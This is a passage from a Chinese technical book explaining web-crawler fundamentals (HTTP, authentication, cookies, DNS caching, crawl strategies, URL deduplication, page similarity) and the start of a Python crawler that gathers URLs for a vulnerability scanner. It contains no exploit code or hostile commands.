Web爬虫，又称Spider或Robot，是一种按照一定的规则自动抓取万维网资源的程序或者脚本，已被广泛应用于互联网领域。爬虫的概念最早来源于搜索引擎，常见的搜索引擎有谷歌、百度和搜狗等。它使用爬虫来抓取 Web 网页、文档，甚至图片、音频、视频等资源，然后通过相应的索引技术组织这些信息，提供给搜索用户进行查询。从原理上来看，这与笔者要讲的爬虫其实是相通的，只不过笔者所讲的爬虫更多的是针对单独或有限的域名，按照一定的爬行策略，做站内的URL爬取，以期获取目标下所有的可视或不可视的URL信息，并将这些信息交给扫描器进行后续的安全漏洞审计。

2.2 浏览器手工爬取过程

既然爬虫是一种自动化的爬取程序，那么在认识爬虫之前，我们不妨先来看看，通过浏览器手工非自动化爬取是什么样的过程。

（1）打开浏览器，在地址栏中输入一个网址，如www.anquanbao.com。

（2）按回车键，这时浏览器窗口就会显示出一个页面。

（3）在这个页面中寻找可被单击的超链接。

（4）依次单击这些超链接，就可以获取到新的页面，同时记目下新页面的URL。

（5）如此循环反复，直至获取到网站中的所有URL，这样就完成了手工爬取。

在这个过程中，浏览器隐藏了太多的细节，使我们无法看到本质。因此，我们需要拨开浏览器这层“云雾”，来看它在这中间究竟做了哪些工作。

浏览器与服务端的完整交互过程，如下图：
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（1）当用户在浏览器地址栏中输入URL：www.anquanbao.com，然后按回车键，这时浏览器的主线程会创建一个子进程，并同时将 URL 传递给这个子线程，让它去完成后续的具体交互工作。

（2）由于互联网上的资源都是以IP进行寻址的，因此，子线程首先会与DNS服务器进行交互，发送DNS查询请求，查询www.anquanbao.com对应的IP地址信息。

（3）在获取IP地址后，浏览器就会与Web服务器建立连接，并发送HTTP请求，而Web服务器在收到请求后，也会向浏览器返回HTTP响应信息。

（4）浏览器在接收到HTTP响应信息后，便会对其中的响应内容进行页面解析、Cookie处理和页面渲染等操作，并将最终的页面内容呈现给用户，从而完成整个交互工作。
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小结：


当然浏览器背后的工作远远不止这些，这里只是选取了其中几个关键的部分进行讲解，并通过这些内容来抽象描述爬虫所需要满足的基础模型；同时以浏览器的视角来看爬虫的爬行过程，这样有助于我们对爬虫的工作细节有一个直观的了解。

2.3 URL

URL，又名统一资源定位符，它是对互联网上资源的位置和访问方法的一种简洁的表示，是互联网上标准资源的地址。它可以理解为是互联网上资源的索引，通过它爬虫就可以找到新的资源，获取新的URL。

URL的完整格式（其中带方括号[]的为可选项）：

protocol://hostname[:port]/path/[;parameters][?query]#fragment.

举个例子：

http://www.anquanbao.com:80/index.php?id=1#target.

上面例子中对应URL格式的内容如下：

protocol（协议）——http

hostname（主机名）——www.anquanbao.com

port（端口）——80

path（路径）——index.php

query（查询参数）——id=1

fragment（信息片段）——target

在HTML中，URL主要会在下列常见标签中产生，我们可以通过其相关的属性值来获取，如下：
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2.4 超级链接

超级链接简称为超链接，它的作用是将各个独立的页面链接起来，从而形成一个相对完整的Web网站或应用。网页的超链接一般分为三种：一种是绝对URL的超链接，它链接的是网络上的一个站点、网页或其他资源；第二种是相对 URL 的超链接，它链接的是同一网站的资源；还有一种，它链接的是同一网页的资源，这种超链接又叫书签。爬虫在爬取的过程中，需要能够识别这些超链接内容，并通过它们来获取新的页面和新的URL。

在HTML文件中，超链接主要用标签a来表示和标记，它的href属性则是链接的目标。

下面分别举三个超链接的例子：
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它是绝对URL的超链接，其中htttp：//www.baidu.com表示网络上的页面。
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它是相对URL 的超链接，它会以当前页面地址为基点来形成，其中 index.html 表示同一个网站的新的页面。
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它属于同一页面的超链接，当用户点击它时，会跳到同一页面中的top位置。

2.5 HTTP协议（Request/Response）

HTTP协议主要用于Web应用层传输，是Web架构的核心基础。它于1990年提出，经过长达二十多年的使用和发展，得到不断完善和扩展，由于其简捷、快速的特点，得到大家的青睐。现在，互联网大部分Web应用都是基于HTTP协议来实现的。HTTP协议可以看作与Web应用沟通的语前，而理解语前的意思则是任何后续交互的基础。因为只有清楚地明白交互双方的意思，才能更好地进行交互。爬虫也需要与Web应用进行交互，所以自然也就需要理解它，这样爬虫才能更加有效地进行爬取。下面来看看HTTP协议的内容。

HTTP协议目前有三个主要版本：HTTP/0.9、HTTP/1.0和HTTP/1.1。HTTP/0.9是最早的版本，它只定义了最基本的简单请求和简单回答；HTTP/1.0是一个比较完善的版本；HTTP/1.1在继承了 HTTP/1.0 优点的基础上，增加了大量的报头域来改进和扩充其性能，比如，增加Connection请求头来保持持久性链接，并默认开启；增加Host请求头字段来访问同一Web服务器上不同的Web站点等。因此，现在大部分Web应用都是基于HTTP/1.1进行通信的。

HTTP协议由两个重要部分组成，HTTP请求（Request）和HTTP响应（Response）。

2.5.1 HTTP请求

HTTP请求由三部分组成，分别是：请求行、请求报头和请求正文。


1.请求行


请求行的格式如下：
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它是以一个方法符号开头，空格分开，后面跟着请求的URI和协议的版本。


2.请求报头


请求报头由key/value形式成对组成，每行一对，key和value用英文冒号“：”分隔。


3.请求正文


请求正文是提交到Web服务器上的数据，当请求方法为POST时，通常会包含请求正文，它会用请求报头中的Content-Type和Content-Length来指定数据类型和数据长度。

一个标准的HTTP请求格式如下：
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举例说明如下：
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2.5.2 HTTP响应

Web服务器在收到HTTP请求消息后，会返回一个HTTP响应消息。HTTP响应也是由三个部分组成，分别是：响应行、响应头、响应正文。


1.响应行


响应行的格式如下：
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其中，HTTP-Version表示服务器HTTP协议的版本；Status-Code表示服务器发回的响应状态代码，由三位数字组成；Reason-Phrase表示状态代码的文本描述。


2.响应头


响应头也是由key/value形式成对组成的，每行一对，key和value用英文冒号“：”分隔。


3.响应正文


响应正文就是服务器返回的资源内容。

一个标准的HTTP响应如下：
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举例说明如下：
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2.6 HTTP认证

爬虫在爬取资源的过程中，有时候会遇到HTTP认证的情况，也就是说，Web服务器会对客户端的权限进行认证，只有认证通过才允许其访问服务端的资源。爬虫需要通过HTTP认证才能进一步去爬取，HTTP认证的方式主要有两种，下面分别进行介绍。

2.6.1 Basic认证（基本式）

Basic认证是HTTP常用的一种认证方式，由于HTTP协议是无状态的，所以客户端每次访问Web应用时，都要在请求的头部携带认证信息，一般是用户名和密码，如果验证不通过，则会提示如下：
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Basic认证的请求和响应，抓包如下：
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其中，HTTP 请求中的 Authorization 字段包含着用户名和密码信息，Basic 后面的一串字符“YWRtaW46c2VjcmV0”即为用户名和密码的Base64编码，解码后的内容为：admin：secret。从上面的描述中，我们可以看到，Basic 认证的缺点很明显，它是按照明文信息进行传递的，因此很容易被中间人劫持获取。

2.6.2 Digest认证（摘要式）

Digest认证其实是一种基于挑战-应答模式的认证模型，它比Basic更安全。为了防止重放攻击，客户端在发送第一个请求后，会收到一个状态码为401的响应，响应内容包含一个唯一的字符串：nonce，而且每次请求返回的内容都不一样。摘要式认证过程需要两次交互来完成。

（1）第一次交互

客户端在向服务端发送请求后，服务端会返回401 UNAUTHORIZED，同时在响应头中的WWW-Authenticate字段说明认证方式是Digest，其他信息还有realm域信息、nonce随机字符串、opaque透传字段（客户端会原样返回）等，如下：
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（2）第二次交互

此时客户端会将用户名、密码、nonce、HTTP Method和URI作为校验值进行md5散列计算，然后通过请求头再次发送给服务端，服务端认证成功后就会返回如下的正常内容。
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其中客户端请求头Authorization字段中的response值为加密后的密码，服务端通过该值来完成认证，它的生成方式分三步计算：

（1）对用户名、认证域（realm），以及密码的合并值计算md5哈希值，结果记为HA1。
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（2）对HTTP的请求方法，以及URI的摘要的合并值计算md5哈希值，结果记为HA2。
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（3）按照下面的方式生成response值，如下：
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其实，基本式认证和摘要式认证都是比较脆弱的认证方式，它们都无法阻止监听和劫持攻击。

2.7 HEAD方法

HTTP协议中有很多请求方法，这里主要说一下HEAD方法。HEAD方法与GET方法相同，只不过服务器响应时不会返回消息体，只有消息头。一个HEAD请求的响应中，HTTP头包含的元信息应该和一个 GET 请求的响应消息相同。这种方法可以用来获取请求中隐含的元信息，而不用传输实体本身，所以传输效率高，它可以用来检测链接或目目的有效性。下面我们用curl命令发送一个HEAD请求，举例如下：
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在HTTP响应中，我们可以看到，虽然响应头有Content-Length字段，但服务端并没有返回响应中的正文内容。

2.8 Cookie机制

Cookie 由 W3C 组织提出，是最早由 Netscape 社区发展起来的一种会话跟踪机制。目前Cookie已经成为标准，所有的主流浏览器，如IE、FireFox、Chrome等都支持Cookie。我们知道，HTTP是一种无状态的协议，服务端仅从网络连接无法知道客户端的身份，所以Cookie被用来作为会话识别的标识。Cookie实际上是存在客户端的一小段文本信息，当客户端向服务端发送请求时，服务端会通过Response向客户端浏览器发出一个Set-Cookie来设置Cookie信息，这时浏览器会把该 Cookie 信息保存在本地。当浏览器再次请求该网站时，浏览器则会连同该Cookie一同提交给服务端。因此，在遇到存在Cookie的场景时，爬虫也需要遵循该处理原则。举例子说明，我们在浏览器中访问http：//192.168.126.141，第一次请求的抓包如下：
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刷新浏览器后，抓包来看第二次请求，新设置的Cookie已经被加上了，如下：
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2.9 DNS本地缓存

浏览器在与Web服务器进行交互时，会向DNS服务器发送DNS查询，请求查找域名对应的IP地址。在对一个域名进行爬取时，如果每次都要对域名进行DNS查询解析，就会浪费很多不必要的查询时间，这时DNS缓存的作用就突显出来，它可以将域名与IP对应的关系存储下来。当再次去访问这个域名时，浏览器就会从 DNS 缓存中把 IP 信息取出来，不再去进行DNS查询，从而提高了页面的访问速度。

DNS本地缓存有两种形式：一种是浏览器缓存；另一种是系统缓存。在浏览器中访问域名时，它会优先访问浏览器缓存。一旦未命中，则会访问系统缓存。既然是缓存，那么就会涉及有效时间。系统缓存的DNS记目有一个TTL值（time to live），单位是秒，意思是这个缓存记目的最大有效时间。而浏览器缓存的有效时间，则是由各自厂商单独设置的，不同种类的浏览器，缓存时间不尽相同，比如：chrome浏览器的缓存时间大约为1分钟。

2.9.1 浏览器缓存

这里以chrome浏览器为例，查看其缓存，在地址栏输入如下命令：
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执行结果如下：
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2.9.2 系统缓存

在Windows平台下，可以通过在命令行窗口输入ipconfig/displaydns查看DNS缓存。由于缓存的生存时间较短，可以在访问的同时，打开命令行窗口进行查看，如下：
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在Linux平台下，可以通过NSCD（Name Service Cache Daemon，名称服务缓存守护进程）查看缓存，如果没有安装该服务，对于Ubuntu/Debian的发行版，可以简单通过下述命令进行安装：
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安装完成后，首先需要在配置文件中开启缓存服务，编辑/etc/nscd.conf文件，找到下面一行，并将状态设置为“yes”，然后保存，如下：
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最后，重启服务即可。
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执行下面命令：
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可以看到系统缓存的信息，如下：
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2.10 页面解析

这里说的页面解析，主要是指对HTTP请求后的响应内容进行页面分析，并从中提取URL的过程。我们知道，HTTP响应分为响应头和响应体，响应头的内容比较固定，解析也相对简单；而响应体则不一样，它的内容类型多种多样，不同内容的解析方式也不同，因此需要根据响应体的内容类型来区别对待。响应体的内容类型则是由响应头中的“Content-Type”字段来指定的，它主要用于定义网络文件的类型和网页的编码，常见的内容类型如下：
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由于我们的目的是获取新的URL，因此只需要关注含有URL信息的内容类型即可，比如HTML文件。虽然文本文件、PDF文件、Flash文件和图片资源文件也可以包含URL信息，但主流的方式仍然还是通过HTML文件来获取URL，所以这里我们主要以HTML文件的解析为例进行介绍，其他内容类型的解析就暂不讨论了，读者可以私下研究和学习。

2.11 爬虫策略

爬虫在爬取的过程中，会涉及非常多的页面，因此需要讲究一些爬行策略，才能避免页面的重复爬取。通常爬虫策略可以分为三种：广度优先策略、深度优先策略和最佳优先策略。

2.11.1 广度优先策略

广度优先策略是指在爬取过程中，在完成当前层次的爬取后，才进行下一层次的爬取。这句话怎么理解呢？举例说明一下，假设网站的入口页面为A，爬虫在页面A上发现了A1、A2、A3三个页面，当爬取完A1页面后，会把A1页面中的A4和A5放入待抓取的URL列表中，并不会继续爬取A4或A5页面，而是按照同样的规则去爬取A2页面，一直到A3页面爬取结束后，才去爬取第二层的A4和A5页面。
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入口：A

第一层：A1、A2、A3

第二层：A4、A5、A6、A7、A8、A9

2.11.2 深度优先策略

深度优先策略是爬虫从起始页的页面开始，沿着一个页面一直爬取下去，直到当前页面没有新的页面时，才会爬取下一个页面。同样，假设网站的入口页面为A，爬虫在页面A上发现了A1、A2、A3三个页面，当爬取完A1页面后，发现了A4和A5两个页面，这时并不会去爬取A2页面，而是继续爬取A4页面，以及A5页面，直到此页面中没有新的页面后，再去爬取A2页面。
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入口：A

第一层：A1、A4、A5

第二层：A2、A6、A7

第三层：A3、A8、A9

2.11.3 最佳优先策略（聚焦爬虫策略）

最佳优先策略，是一种启发式的爬行策略。它其实是广度优先策略的一种改进，在广度优先策略的基础上，用一定的网页分析算法，对将要遍历的页面进行评估和筛选，然后选择评估最优的一个或多个页面进行遍历，直至遍历所有的页面为止。


小结：


在很多情况下，由于深度优先策略会导致爬虫的“陷入”问题，即无法进行回退遍历，特别是对于大型的互联网网站，通常需要设置爬行的深度，否则爬虫在有限的时间内将无法爬完。而且在实际的应用中，随着爬行深度的递增，有价值的 URL 也会相应减少。因此，深度优先策略并不太适用，目前爬虫通常选择的策略是广度优先策略和最佳优先策略。

2.12 页面跳转

在访问某个URL页面，有时该页面会出现跳转的现象，跳转后则会显示新的URL页面内容，对于爬虫来说，它通常需要获取这个新的 URL 信息。因此，这里我们有必要了解一下页面跳转的概念。页面跳转通常有两种形式，一种是客户端跳转，另一种是服务端跳转。

2.12.1 客户端跳转

客户端跳转通常也分为两种：一种是301跳转，301代表永久性转移（Permanently Moved）；另一种是302跳转，302代表临时性跳转（Temporarily Moved）。其实301跳转流程与302跳转流程一样，只不过状态码不同而已。当客户端向服务端发送一个请求时，服务端会返回一个301或302的跳转响应，客户端浏览器在接收到这个响应后就会发生页面跳转，它会根据这个响应头中“Location”字段所包含的地址，再次自动向服务端发送一个 HTTP 请求来完成跳转过程。

对于客户端跳转这种情况，我们可以通过WireShark抓包看到完整的跳转过程，如下。

服务端代码：
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在客户端访问链接http：//192.168.126.137/book/tiaozhuan/301.php，如下图：

[image: ]


这时，我们来抓取网络数据包看下，其实客户端发送了两次请求，如下：

（1）第一次HTTP请求
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（2）第二次请求
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2.12.2 服务端跳转

服务端在收到客户端的HTTP请求后，由于请求的页面和实际处理请求的页面不同，因此服务端会在内部进行页面跳转，我们称为服务端跳转。在这个过程中，其实服务端只收到客户端的一个HTTP请求，它对客户端来说是透明的，因此客户端看到的仍然是原始的URL，响应的状态码也为200。

我们可以在Nginx中增加下面内容：
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其中，abcd.html是客户端发起的请求，而实际服务端处理和响应的是test.html这个页面，如下图：
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小结：


服务端跳转时，客户端只发送一次请求，浏览器的地址栏不会显示目标地址的URL；而客户端跳转时，由于是两次请求，这时地址栏中会显示目标资源的URL。

2.13 识别404错误页面

当用户访问网站上不存在或已删除的页面时，服务端就会返回404错误页面，由于其状态码为404，故又称为“404页面”。404错误页面就是告诉我们当前这个URL所对应的资源是不存在的，在爬行的过程中，爬虫也需要识别404错误页面，并根据它来标记当前所爬行的URL是否有效或存在，这样就可以避免无效爬取，提高爬虫效率。通常管理员在设置404错误页面时有下面两种情况：

1.直接在Web容器中设置404错误页面，此时服务端返回404状态码。

2.将404错误页面指向一个新的页面，在页面中使用301或302的方式重定向跳转到这个页面，此时服务器返回301或302状态码。

所以从理论上而前，404错误页面一般返回的状态码为：301、302或404；但也不排除有的管理员设置特殊，直接返回状态码为200的错误页面。所以，对于404错误页面的识别，不能简单根据状态码信息来判断。具体的识别方法，在本书后面的章节“Web爬虫进阶”中会详细介绍。

2.14 URL重复/URL相似/URL包含

这三个概念主要用于爬虫对URL列表进行过滤，过滤掉一些对扫描器没有意义的URL，减少重复爬取的时间，提高扫描器整体的效率。由于这些名词并不属于标准概念，因此笔者在下面先给出其定义。

2.14.1 URL重复

URL重复，是指两个URL完全一样。具体来说，就是协议、主机名、端口、路径、参数名和参数值都相同。

2.14.2 URL相似

URL相似，是指两个URL的协议、主机名、端口、路径、参数名和参数个数都相同。

2.14.3 URL包含

URL包含，是指两个URL，将它们分别记为A和B，它们的协议、主机名、端口和路径都相同。若A的参数个数大于或等于B，那么B的参数名列表与A的参数名列表存在包含关系，其实URL相似可以看作URL包含的一种特例，A和B的参数相同。

举例说明如下：
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2.15 区分URL的意义

重复的URL很好理解，因为它们已经被爬行过了，重复的爬取并不会发现新的URL链接，只会浪费计算资源和延长爬行时间。因此，需要找出这类URL，并将其过滤，减少重复爬取。

那么相似的URL和包含的URL呢？

这里我们结合扫描器的场景来看，扫描器获取这些 URL 的目的主要是对它们进行安全漏洞审计，而安全漏洞审计的主要方式是对URL中的参数进行模糊测试（Fuzz testing）。对于相似的 URL 检测，其实就是检查服务端上同一个文件的相同参数。从漏洞检测的角度来看，如果其中一个URL存在漏洞，那么相似的URL一定也会存在漏洞，因此，就没有必要对相似的URL都进行检测。包含的URL也是同样的道理，对于服务端上的同一个文件，我们只需要检测不同的参数。对于相同的参数，可以直接过滤，这样可以避免重复检测，提高扫描器的效率。

2.16 URL去重

上文已提到，重复的URL会大大降低爬虫效率，因此，我们需要对URL进行去重处理。那么如何进行URL去重呢？常见的方式有两种：布隆过滤器和哈希表去重。

2.16.1 布隆过滤器（Bloom Filter）

布隆过滤器（Bloom-Filter），是由布隆（Burton Howard Bloom）在1970年提出的。它实际上是由一个很长的二进制向量和一系列随机映射函数组成的，可以用于检索一个元素是否在一个集合中。它的优点是空间和查询时间都远远超过一般的算法，缺点是有一定的误识别率和删除困难。因此，Bloom Filter 不适合那些“零错误”的应用场合。而在能容忍低错误率的应用场合下，Bloom Filter比其他常见的算法（如Hash、折半查找）极大地节省了空间。

下面讲一下布隆过滤器的原理。

布隆过滤器首先需要的是一个位数组和k个映射函数（与Hash表类似），在初始状态时，对于长度为m的位数组array，它的所有位置都被置为0。

对于有n个元素的集合S={s1，s2……sn}，通过k个映射函数{f1，f2……fk}，将集合S中的每个元素 sj（1<=j<=n）映射为 k 个值{g1，g2……gk}，然后再将位数组 array 中相对应的array[g1]，array[g2]……array[gk]置为1。

如果要查找某个元素 item 是否在 S 中，则通过映射函数{f1，f2……fk}得到 k 个值{g1，g2……gk}，然后再判断 array[g1]，array[g2]……array[gk]是否都为 1，若全为 1，那么 item在S中，否则item不在S中。

2.16.2 哈希表去重

哈希表去重的做法比较简单，它通过建立一个哈希表，然后将种子 URL 放进去。对于任何一个新的URL，首先它需要在哈希表中进行查找，如果哈希表中不存在，那么就将新的URL插入哈希表中，直至遍历完所有的URL，最后哈希表中的内容就是去重后的URL。这种方式去重效果精确，不会漏掉一个重复的URL，但对空间的消耗也相应较大。根据哈希表存放的位置，可以将其分为两种方式：一种是基于内存的Hash表去重；另一种是基于硬盘的Hash表去重。


1.基于内存的Hash表去重


这种方式直接在内存中对URL进行操作和去重，随着URL的增长，它消耗的内存空间也越来越多，然而内存大小是有瓶颈的，因此，它无法完成对大型网站的全站爬取。但由于数据操作是直接在内存中执行的，所以，它的处理速度很快。

在真实的爬取中，由于URL是字符串形式，占用的字节数较多，按照保守估计，每个URL平均的长度为 20，当然，URL 越长占用的空间也就越大。这种情况下我们可以进行简单的优化，对URL进行压缩存储。

以md5哈希算法为例，md5运算后的结果是128bit，也就是16字节的长度，而且每个URL的长度都可以控制在16字节，这样就可以极大地减少存储空间的开销。

具体的操作方式为：对 URL 进行哈希运算，然后放到这个哈希表中，如果哈希值不存在于哈希表中，就将该 URL 插入结果列表，同时将哈希值插入哈希表，直至遍历结束，此时结果列表中就是去重后的URL。


2.基于硬盘的Hash表去重


它将URL存储在硬盘上，并在硬盘上对其进行去重。这样在处理海量URL的时候，就不用担心内存溢出的问题。这种方式有个成熟的解决方案，就是利用Berkeley DB进行基于硬盘的URL去重。

Berkeley DB是一个开源的文件数据库，介于关系数据库与内存数据库之间，使用方式与内存数据库类似，它提供的是一系列直接访问数据库的函数，是一个高性能的嵌入式数据库编程库（引擎），可以用来保存任意类型的键/值对（Key/Value），而且可以为一个健保存多个数据。它支持数千个并发线程同时操作数据库，支持最大256TB的数据。同时提供诸如C语前、C++、Java、Perl、Python等多种编程语前的API，并且广泛支持大多数类Unix操作系统、Windows操作系统，以及实时操作系统（如：VxWorks）。

Berkeley DB实际是一个在硬盘上的Hash表，我们可以使用压缩后的URL字符串作为Key，而对于Value可以使用Boolean，一个字节；实际上，Value是一个状态标识，减少Value占用存储空间，然后直接向Berkeley DB添加URL即可。当遇到重复的URL时，它就会通过返回值告知我们。

2.17 页面相似算法

在一些情况中，比如 SQL 注入检测，我们通常需要比较两个页面内容的关系，看看它们是否相似或相同，然后利用它们的差异性来判断输入对后端应用的影响。页面相似算法有很多，这里主要介绍其中常用的两种：编辑距离和Simhash。

2.17.1 编辑距离（Levenshtein Distance）

它是指两个字符串之间，由一个转成另一个所需的最少编辑操作次数。许可的编辑操作包括将一个字符替换成另一个字符，插入一个字符，删除一个字符。编辑距离的算法由俄国科学家Levenshtein提出，所以叫Levenshtein Distance。一般来说，编辑距离越小，两个串的相似度越大。

2.17.2 Simhash

Simhash是Google用来处理海量文本去重的算法，它会为每一个Web文档通过Hash的方式生成一个64位的字节指纹，暂且称之为“特征字”，判断相似度时，只需判断特征字的海明距离是不是小于n（根据经验值，n一般取值为3），就可判断两个文档是否相似。

那么，什么叫海明距离呢？在信息编码中，两个合法代码对应位上编码不同的位数称为码距，又称海明距离。

举例如下：

10101和00110从第一位开始依次有第一位，第四位和第五位不同，则海明距离为3。

2.18 断连重试

在爬虫的爬行过程中，为了保证爬虫的稳定和健壮，必须要考虑网络抖动的因素。因此，我们需要增加断连重试机制。当连接断开时，爬虫需要尝试去重新建立新的连接，只有当连接断开的次数超过阀值时，才会认定当前的网络不可用。

2.19 动态链接与静态链接

这里所说的动态链接和静态链接，主要是针对URL而前的，它们可以通过URL的扩展名来区分。

静态链接主要是指静态资源文件，扩展名主要为：rar、zip、ttf、png、gif等。因为它们对获取新的 URL 并没有做出太多贡献，而且这类链接的数量又非常大，因此，我们需要在新一轮爬取前过滤这些无意义的静态链接，这样就可以极大地提高爬行效率。

动态链接与静态链接是相反的，它所代表的页面中包含新的URL，我们需要对其进行页面解析和URL提取操作，这类链接的扩展名主要为：html、shtml、do、asp、aspx、php、jsp等。


第3章 Web爬虫进阶

有了上面Web爬虫的基础知识后，下面我们开始学习Web爬虫进阶。在本章中，我们从零开始编写自己的爬虫，并让它可以在互联网的世界中自由、聪明地爬取。

3.1 Web爬虫的工作原理

Web爬虫，即从一个或若干个初始网页的URL开始，获得初始网页上的URL，在抓取网页的过程中，不断从当前页面上抽取新的URL放入队列，直到满足一定的条件才会停止爬取。

从上面这段话可以看到，爬虫的工作原理其实很简单，根据内容定义可以很容易地给出Web爬虫的框架代码（Python版本），如下：

[image: ]


[image: ]


从上面的代码来看，爬虫很简单，仅仅这么短短几行代码，就已经实现了 Web 爬虫的基础结构。那么，接下来就结合上一章的“Web爬虫基础”知识，来对这段爬虫的结构代码进行完善，并打造出属于自己的Web爬虫。

3.2 实现URL封装

由于在爬取的过程中，爬虫不仅需要对URL进行频繁操作和处理，同时还需要获取URL中的很多元信息，比如，主机名、端口、根域名、文件名、扩展名和请求参数等。因此，在这里我们需要对URL进行类封装，这样可以方便后续对其进行统一的维护和改进。

在URL类中，主要通过Python自带的URL解析模块（urlparse）来获取URL相关的属性信息，部分实现代码如下：
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这样我们就可以利用该类来获取 URL 中的根域名、文件名和扩展名信息了，测试的效果如下：
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运行的结果为：
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3.3 实现HTTP请求和响应

在本书第2章中，我们知道，爬虫是通过对HTTP请求、响应的方式与Web应用进行交互的。因此，在爬虫的实现中，也应遵循该原则，对构造标准的HTTP请求行发送，同时还要对HTTP 响应进行相应的标准化处理，这样就可以完整地表示交互之间的数据。下面就对 HTTP请求和响应进行标准化封装，分为Request类、Response类，如下：


1
 .Request
 类

在Request类中，需要能够完整地表示HTTP请求，并对其相关内容进行操作，部分代码及结构如下：
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2
 .Response
 类

同样，在 Response 类中，也需要用它来表示 HTTP 响应中的所有信息，并能够对响应的内容进行相关操作和处理，部分代码及结构，如下：
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有了HTTP请求和响应这两个类后，爬虫就可以理解HTTP协议了，但还需要有一个能够将它们关联起来的功能，即：HTTP请求的发送。

为了避免重复造“轮子”，这里笔者以wCurl类来实现，wCurl是一个基于Requests模块的二次封装，这里之所以选择Python 中的Requests模块，主要是因为它的功能完善、文档齐全、使用方便，而且非常人性化，正如它的名称所说，“HTTP For Humans——给人类使用的HTTP库”！

在wCurl类中，我们主要完成HTTP请求的发送功能，并实现HTTP请求中各类请求方法，最后再对响应内容进行Response类的转化，部分核心代码实现如下：
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这样我们就可以用wCurl类发送HTTP请求，并获取对应的HTTP响应了，如下：
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运行该文件，结果如下：
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在URL爬取过程中，为了减少频繁地对域名进行DNS查询，我们可以根据本地缓存DNS的查询结果进行优化。如果该域名已经查询过，那么就直接返回DNS查询结果，而不必向DNS服务器发送查询请求。只有当该域名还没有被查询过的时候，才会进行 DNS 查询，并记目域名到IP的对应关系。具体的代码实现如下：
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下面通过从HTTP请求发送到HTTP响应接收所经历的时间，来看一下DNS缓存优化的结果：
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运行后的结果如下：
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从上面的结果来看，一次大约能够节省8000多微秒，约8毫秒，而通常爬虫都是针对一个网站进行大量的请求发送动作，因此节省的时间还是比较可观的。

下面来讲一下扫描速率控制。扫描速率的控制有两种方法实现，一种是将需要发送的请求全部存入队列，然后新起一个线程，每隔一段时间从队列中取一个请求进行发送，并对响应进行处理；另一种则是利用HOOK的方式，对socket中的connect函数进行HOOK，在请求发送之前进行时间间隔的统一控制和处理，从而实现扫描速率的控制。

由于 HOOK 的方式便于理解和操作，因此，这里就以 HOOK 方式来实现。在对 connect函数进行HOOK之前，先举个例子，便于读者理解。下面有个函数show（），对其进行HOOK，在函数show（）运行之前，打印出当前的时间，由于该例子用到Python中的apply函数，这里先介绍一下该函数的用法。

apply（func[，args [，kwargs]]）函数用于当函数参数已经存在于一个元组或字典中时，间接地调用函数。args是一个包含将要提供给函数的按位置传递的参数的元组。举例说明一下，假如函数A的位置为A（a=1，b=2），那么这个元组中就必须严格按照这个参数的位置顺序（a=3，b=4）进行传递，而不能是（b=4，a=3）这样的顺序。kwargs是一个包含关键字参数的字典，如果args不需要传递，kwargs需要传递，那么必须在args的位置留空，apply的返回值就是func函数的返回值。如果直接省略了args，那么任何参数都不会被传递。具体使用方法和示例如下：
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下面我们来看看如何利用apply函数进行HOOK操作，代码实现如下：
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当运行hook.py时会发现，调用show函数时，实际上在执行_hook_show函数，此时就可以在_hook_show函数中对show函数进行HOOK操作，如下图：
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有了HOOK函数的基础，就可以利用该方式对socket中的connect函数进行HOOK，在wCurl类中增加HOOK操作进行扫描速率的控制，部分实现代码如下：
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此时再利用socket进行网络通信，程序就会对请求的连接数进行控制，如下：
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运行的效果如下图：
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小结：


在这一节中，我们给爬虫增加了HTTP请求发送功能，它已经具备了关联HTTP请求和HTTP响应的能力。但是仅有这些能力，爬虫还是不能正常地爬取，此时还需要对HTTP响应进行页面解析，获取页面中新的URL，这样爬虫才能不断地进行后续爬取。

3.4 实现页面解析

下面我们接着来实现页面解析的功能。

3.4.1 HTML解析库

在Python环境中，常用的HTML解析库有HTMLParser、lxml和html5lib等，可以使用它们进行页面解析和URL提取，其各自的特点如下：
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1
 .HTMLParser


它是Python中内置的用来解析HTML的模块，可以分析出HTML里面的标签、数据等，通过 HTMLParser 处理 HTML 非常简便。HTMLParser 采用的是一种事件驱动的模式，当HTMLParser 找到一个特定的标记时，它会去调用一个用户自定义的函数，并以此来通知程序处理，其中用户定义的回调函数都是以handler_开头命名的。


2
 .lxml


lxml（官网地址http：//lxml.de/）是Python处理XML和HTML相关功能最丰富和最容易使用的库。lxml是libxml2和libxslt库的一个Python化的绑定。它与众不同的地方是兼顾了这些库的速度和功能的完整性，以及纯Python API的简洁性。由于爬虫通常需要处理的页面很多，所以这里我们选择速度快和容错能力强的lxml库对HTML进行解析。


3
 .html5lib


html5lib是一个通过Ruby和Python解析HTML文档的类库，支持HTML5并最大程度兼容桌面浏览器。

在页面解析中，我们需要处理两个主要问题：一个是 URL 提取；另一个是自动填表。也就是说，当碰到页面中有 FORM 表单时，需要完成对表单内容的自动填充，然后再发送给服务端。

3.4.2 URL提取

URL提取来源于HTTP响应头和HTTP响应体。


1
 .HTTP响应头


当响应的状态码为301或302时，响应头中会有Location字段，它的值中会有URL信息，如下：

[image: ]


当然可能还会有一些其他自定义字段包含URL信息，所以需要从HTTP响应头中提取URL。


2
 .HTTP响应体


响应体中的URL提取比较简单，这里有两种常用的方式：一种是利用URL正则对响应体的内容进行全文匹配，找出其中所有的URL信息；另一种是对HTML进行解析，遍历存在URL的标签，如：超链接标签<a>、表单标签<form>和脚本标签<script>等，获取这些标签的属性值即可。第一种方式由于是通过正则匹配来获取，URL的准确度较差，只能够获取一些标准格式的 URL；第二种方式是通过标签的属性值来获取 URL，理论上准确度会高些，但可能会漏掉页面的一些URL。因此，这里需结合两种方式来提取URL。

下面就利用lxml的HTML解析器来对HTTP响应进行解析并提取其中的URL信息。HTML解析器在对HTML文档解析中，会隐式触发一些函数，比如，当解析器遇到HTML标签调用时，如：<a href=＂http：//www.baidu.com＂>，就会调用函数 handle_a_tag_start（tag，attrs），其中参数tag是标签名，attrs为标签所有的属性，并按照（name，value）的元组以列表形式存储，这里attrs 值为：[（'href'，'http：//www.baidu.com'）]；当遇到对应结束标签时，如：</a>，就会调用函数handle_a_tag_end（tag）；因此，可以重载这些处理函数来完成URL提取，部分核心代码如下：
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现在，就可以利用它来获取响应中的URL信息了，测试效果如下：
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3.4.3 自动填表

为了实现自动填写表单的功能，需要建立常见表单字段与内容的对应关系，并生成表单知识库。如果表单字段存在于该知识库中，那么就可以用对应的内容进行填充，从而完成自动填表的功能。常见的表单字段信息如下：
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显然，如果上述表单知识库中的表单字段越多，那么自动化填写的能力就越强。这里主要是为了讲解原理和实现功能，就不继续丰富表单知识库了，暂且以现有的这些表单字段来实现自动填表，部分实现代码如下：
